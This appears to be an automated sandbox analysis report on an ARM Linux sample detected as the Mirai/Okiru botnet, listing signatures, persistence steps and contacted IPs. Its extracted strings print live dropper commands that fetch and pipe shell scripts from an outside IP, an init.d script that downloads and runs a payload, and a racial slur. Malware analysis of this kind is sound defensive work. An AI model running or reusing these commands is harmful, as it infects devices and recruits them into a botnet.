Linux Analysis Report
arm7.nn.elf

Overview

General Information

Sample name: arm7.nn.elf
Analysis ID: 1579439
MD5: 991fad8db56d304b03be3d7211f546d2
SHA1: 065b053265338ce0c7a0d3ed9cd70cdd3619d26b
SHA256: 803cfd9fc8171f071b808e258ee505810b21af7f922256840313982a485a85b3
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Connects to many ports of the same IP (likely port scanning)
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample and/or dropped files contains symbols with suspicious names
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: arm7.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm7.nn.elf Virustotal: Detection: 52% Perma Link
Source: arm7.nn.elf ReversingLabs: Detection: 50%
Found strings indicative of a multi-platform dropper
Source: arm7.nn.elf String: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%stmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginmalloc[start_pid_hopping] Failed to clone: %s
Source: arm7.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 94.156.227.234 ports 38242,199,2,3,4,8
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:51364 -> 94.156.227.234:38242
Sample listens on a socket
Source: /tmp/arm7.nn.elf (PID: 5494) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 22.152.41.199
Source: unknown TCP traffic detected without corresponding DNS query: 63.24.177.224
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 199.93.218.218
Source: unknown TCP traffic detected without corresponding DNS query: 132.66.241.224
Source: unknown TCP traffic detected without corresponding DNS query: 206.98.230.194
Source: unknown TCP traffic detected without corresponding DNS query: 22.152.41.199
Source: unknown TCP traffic detected without corresponding DNS query: 33.167.157.215
Source: unknown TCP traffic detected without corresponding DNS query: 220.54.165.176
Source: unknown TCP traffic detected without corresponding DNS query: 63.24.177.224
Source: unknown TCP traffic detected without corresponding DNS query: 56.78.159.132
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 170.82.121.3
Source: unknown TCP traffic detected without corresponding DNS query: 199.93.218.218
Source: unknown TCP traffic detected without corresponding DNS query: 140.70.138.186
Source: unknown TCP traffic detected without corresponding DNS query: 105.113.159.236
Source: unknown TCP traffic detected without corresponding DNS query: 132.66.241.224
Source: unknown TCP traffic detected without corresponding DNS query: 223.50.19.196
Source: unknown TCP traffic detected without corresponding DNS query: 146.77.146.169
Source: unknown TCP traffic detected without corresponding DNS query: 69.187.241.131
Source: unknown TCP traffic detected without corresponding DNS query: 206.98.230.194
Source: unknown TCP traffic detected without corresponding DNS query: 46.6.69.135
Source: unknown TCP traffic detected without corresponding DNS query: 77.141.95.200
Source: unknown TCP traffic detected without corresponding DNS query: 168.241.130.3
Source: unknown TCP traffic detected without corresponding DNS query: 33.167.157.215
Source: unknown TCP traffic detected without corresponding DNS query: 25.236.82.245
Source: unknown TCP traffic detected without corresponding DNS query: 153.119.143.109
Source: unknown TCP traffic detected without corresponding DNS query: 220.54.165.176
Source: unknown TCP traffic detected without corresponding DNS query: 102.79.52.164
Source: unknown TCP traffic detected without corresponding DNS query: 124.236.35.165
Source: unknown TCP traffic detected without corresponding DNS query: 56.78.159.132
Source: unknown TCP traffic detected without corresponding DNS query: 153.27.128.41
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 77.15.142.172
Source: unknown TCP traffic detected without corresponding DNS query: 170.82.121.3
Source: unknown TCP traffic detected without corresponding DNS query: 30.50.35.61
Source: unknown TCP traffic detected without corresponding DNS query: 133.52.3.15
Source: unknown TCP traffic detected without corresponding DNS query: 140.70.138.186
Source: unknown TCP traffic detected without corresponding DNS query: 177.94.48.180
Source: unknown TCP traffic detected without corresponding DNS query: 153.242.124.229
Source: unknown TCP traffic detected without corresponding DNS query: 105.113.159.236
Source: unknown TCP traffic detected without corresponding DNS query: 54.96.101.108
Source: unknown TCP traffic detected without corresponding DNS query: 191.199.11.39
Source: unknown TCP traffic detected without corresponding DNS query: 134.190.222.212
Source: unknown TCP traffic detected without corresponding DNS query: 208.37.145.236
Source: unknown TCP traffic detected without corresponding DNS query: 17.98.178.13
Source: unknown TCP traffic detected without corresponding DNS query: 190.228.253.134
Source: unknown TCP traffic detected without corresponding DNS query: 160.30.220.168
Source: unknown TCP traffic detected without corresponding DNS query: 35.121.233.118
Source: arm7.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, arm7.nn.elf.30.dr, custom.service.12.dr String found in binary or memory: http://94.156.227.233/
Source: arm7.nn.elf String found in binary or memory: http://94.156.227.233/curl.sh
Source: arm7.nn.elf String found in binary or memory: http://94.156.227.233/lol.sh
Source: arm7.nn.elf String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
Sample and/or dropped files contains symbols with suspicious names
Source: arm7.nn.elf ELF static info symbol of initial sample: __gnu_unwind_execute
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%stmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/b
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4HH
Sample tries to kill a process (SIGKILL)
Source: /tmp/arm7.nn.elf (PID: 5584) SIGKILL sent: pid: 794, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5584) SIGKILL sent: pid: 888, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5584) SIGKILL sent: pid: 1659, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5584) SIGKILL sent: pid: 3212, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5584) SIGKILL sent: pid: 3218, result: successful Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5584) SIGKILL sent: pid: 5652, result: successful Jump to behavior
Source: classification engine Classification label: mal92.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/arm7.nn.elf (PID: 5494) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/arm7.nn.elf (PID: 5494) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5543) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 5558) File: /etc/rc.d/S99arm7.nn.elf -> /etc/init.d/arm7.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/arm7.nn.elf (PID: 5494) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5540) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5552) File: /etc/init.d/arm7.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/1383/cmdline Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5698/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5655/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5699/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5337/cmdline Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5690/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5691/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5692/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5693/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5650/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5694/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5651/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5695/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5652/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5696/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5697/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5687/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5688/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5689/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5700/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/803/cmdline Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5701/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5702/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5703/status Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5563) File opened: /proc/5704/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/arm7.nn.elf (PID: 5510) Shell command executed: /bin/sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5535) Shell command executed: /bin/sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5541) Shell command executed: /bin/sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5548) Shell command executed: /bin/sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm7.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm7.nn.elf'\n /tmp/arm7.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm7.nn.elf'\n killall arm7.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm7.nn.elf" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5550) Shell command executed: /bin/sh -c "chmod +x /etc/init.d/arm7.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5553) Shell command executed: /bin/sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm7.nn.elf (PID: 5556) Shell command executed: /bin/sh -c "ln -s /etc/init.d/arm7.nn.elf /etc/rc.d/S99arm7.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5540) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 5552) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm7.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 5555) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5519) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/arm7.nn.elf (PID: 5494) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5540) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5552) File: /etc/init.d/arm7.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/arm7.nn.elf (PID: 5494) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/arm7.nn.elf (PID: 5494) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5548) Writes shell script file to disk with an unusual file extension: /etc/init.d/arm7.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/arm7.nn.elf (PID: 5494) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 5548) File: /etc/init.d/arm7.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm7.nn.elf (PID: 5494) Queries kernel information via 'uname': Jump to behavior
Source: arm7.nn.elf, 5494.1.000056358ef11000.000056358f05f000.rw-.sdmp Binary or memory string: 5V!/etc/qemu-binfmt/arm
Source: arm7.nn.elf, 5494.1.00007ffe792d7000.00007ffe792f8000.rw-.sdmp Binary or memory string: 5V/tmp/qemu-open.woKmRA:
Source: arm7.nn.elf, 5494.1.000056358ef11000.000056358f05f000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: arm7.nn.elf, 5494.1.000056358ef11000.000056358f05f000.rw-.sdmp Binary or memory string: !/proc/1560/exe0!/usr/bin1/proc/803/exe/arm/usr/bin0!/usr/bin/VGAuthService1/proc/3246/exe/arm/sr10!/usr/bin/ibus-daemon!/proc/726/exe1/usr/libexec/gvfs-afc-volume-monitor!/proc/1557/exe0!/usr/bin/vmtoolsd1/usr/libexec/geoclue-2.0/demos/agent!/usr/bin/gnome-shell!/proc/740/exe1/usr/lib/policykit-1-gnome0!/proc/1444/exe0!/proc/767/exe1/usr/bin/xfce4-screensaver
Source: arm7.nn.elf, 5494.1.00007ffe792d7000.00007ffe792f8000.rw-.sdmp Binary or memory string: /tmp/qemu-open.woKmRA
Source: arm7.nn.elf, 5494.1.00007ffe792d7000.00007ffe792f8000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm7.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7.nn.elf
Source: arm7.nn.elf, 5494.1.000056358ef11000.000056358f05f000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm7.nn.elf, 5494.1.00007ffe792d7000.00007ffe792f8000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 5494.1.00007f7a10017000.00007f7a10036000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 5494.1.00007f7a10017000.00007f7a10036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm7.nn.elf PID: 5494, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 5494.1.00007f7a10017000.00007f7a10036000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm7.nn.elf, type: SAMPLE
Source: Yara match File source: 5494.1.00007f7a10017000.00007f7a10036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm7.nn.elf PID: 5494, type: MEMORYSTR
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
121.141.168.183
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
82.3.202.144
 unknown United Kingdom
5089 NTLGB false
40.113.41.15
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
182.126.44.82
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
180.60.27.162
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
111.49.183.11
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
200.25.207.28
 unknown Ecuador
23487 CONECELEC false
215.130.145.226
 unknown United States
721 DNIC-ASBLK-00721-00726US false
136.3.123.32
 unknown United States
3389 FORDSRL-ASUS false
6.39.133.42
 unknown United States
3356 LEVEL3US false
13.12.87.173
 unknown United States
26662 XEROX-WVUS false
19.125.212.58
 unknown United States
3 MIT-GATEWAYSUS false
36.162.157.86
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
202.2.238.44
 unknown Japan 9328 DATACOM-AUDATACOMSYSTEMSAUPTYLTDAU false
96.9.228.48
 unknown United States
12183 TALKIE-COMMUNICATIONSUS false
165.151.198.148
 unknown United States
4193 WA-STATE-GOVUS false
97.163.82.153
 unknown United States
6167 CELLCO-PARTUS false
7.198.158.213
 unknown United States
3356 LEVEL3US false
109.41.234.71
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
82.197.76.26
 unknown United Kingdom
25577 C4L-ASGB false
86.109.30.94
 unknown Austria
49808 POWERSPEED-ASAT false
81.10.166.170
 unknown Austria
12605 LIWEST-ATLinzAustriaAT false
139.29.133.33
 unknown Germany
8767 MNET-ASGermanyDE false
8.133.85.234
 unknown Singapore
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
182.249.221.111
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
193.235.60.192
 unknown Sweden
49408 SECURITAS-AB-ASSE false
165.22.174.231
 unknown United States
14061 DIGITALOCEAN-ASNUS false
109.227.87.94
 unknown Ukraine
25133 MCLAUT-ASUA false
213.189.243.25
 unknown Russian Federation
28881 BASHNET-ASRU false
37.75.219.17
 unknown Ukraine
39047 KERCHNET-ASMultiserviceNetworksLtdRU false
220.124.225.73
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
139.158.191.148
 unknown France
2497 IIJInternetInitiativeJapanIncJP false
15.96.185.43
 unknown United States
13979 ATT-IPFRUS false
23.217.44.145
 unknown United States
16625 AKAMAI-ASUS false
155.148.83.10
 unknown United States
668 DNIC-AS-00668US false
169.211.240.78
 unknown Korea Republic of
37611 AfrihostZA false
119.187.21.177
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
7.149.65.46
 unknown United States
3356 LEVEL3US false
7.0.32.158
 unknown United States
3356 LEVEL3US false
186.207.72.146
 unknown Brazil
28573 CLAROSABR false
32.64.233.53
 unknown United States
2686 ATGS-MMD-ASUS false
66.134.48.119
 unknown United States
18566 MEGAPATH5-US false
134.214.80.157
 unknown France
2060 FR-RENATERRENATER_ASNBLOCK1EU false
121.123.72.102
 unknown Malaysia
9534 MAXIS-AS1-APBinariangBerhadMY false
161.78.155.103
 unknown Switzerland
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
198.226.212.50
 unknown United States
6167 CELLCO-PARTUS false
61.120.10.238
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
121.183.37.18
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
173.118.64.2
 unknown United States
10507 SPCSUS false
80.203.237.217
 unknown Norway
15659 NEXTGENTELNEXTGENTELAutonomousSystemNO false
136.44.84.108
 unknown United States
16591 GOOGLE-FIBERUS false
213.192.12.21
 unknown Czech Republic
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
178.190.39.231
 unknown Austria
8447 TELEKOM-ATA1TelekomAustriaAGAT false
68.254.240.31
 unknown United States
7018 ATT-INTERNET4US false
134.87.211.117
 unknown Canada
16462 UVIC-ASCA false
185.152.44.253
 unknown Italy
202870 AS_DIMENSIONEIT false
58.81.160.169
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
211.158.211.11
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
120.78.147.78
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
102.33.218.39
 unknown South Africa
327782 METROFIBRE-NETWORXZA false
112.75.59.9
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
157.161.32.155
 unknown Switzerland
6772 IMPNET-ASCH false
185.3.73.199
 unknown United Kingdom
8190 MDNXGB false
167.236.235.19
 unknown United States
19400 SPX-FLOW-ASUS false
95.194.236.48
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
114.45.104.94
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
45.142.187.240
 unknown Italy
31263 MYNET-ASIT false
197.204.191.109
 unknown Algeria
36947 ALGTEL-ASDZ false
107.195.207.131
 unknown United States
7018 ATT-INTERNET4US false
49.63.68.151
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
154.103.177.161
 unknown Sudan
36998 SDN-MOBITELSD false
77.111.130.211
 unknown Hungary
8462 TARR1HU false
149.135.195.53
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
7.48.118.0
 unknown United States
3356 LEVEL3US false
58.205.83.243
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
32.137.59.183
 unknown United States
2686 ATGS-MMD-ASUS false
157.98.18.84
 unknown United States
3527 NIH-NETUS false
53.113.174.253
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
178.255.179.69
 unknown Ukraine
6723 UA-XAIMUA false
7.187.160.166
 unknown United States
3356 LEVEL3US false
135.52.83.5
 unknown United States
54614 CIKTELECOM-CABLECA false
30.64.28.196
 unknown United States
7922 COMCAST-7922US false
50.149.221.16
 unknown United States
7922 COMCAST-7922US false
7.255.140.23
 unknown United States
3356 LEVEL3US false
207.13.145.178
 unknown United States
7029 WINDSTREAMUS false
131.150.136.61
 unknown United States
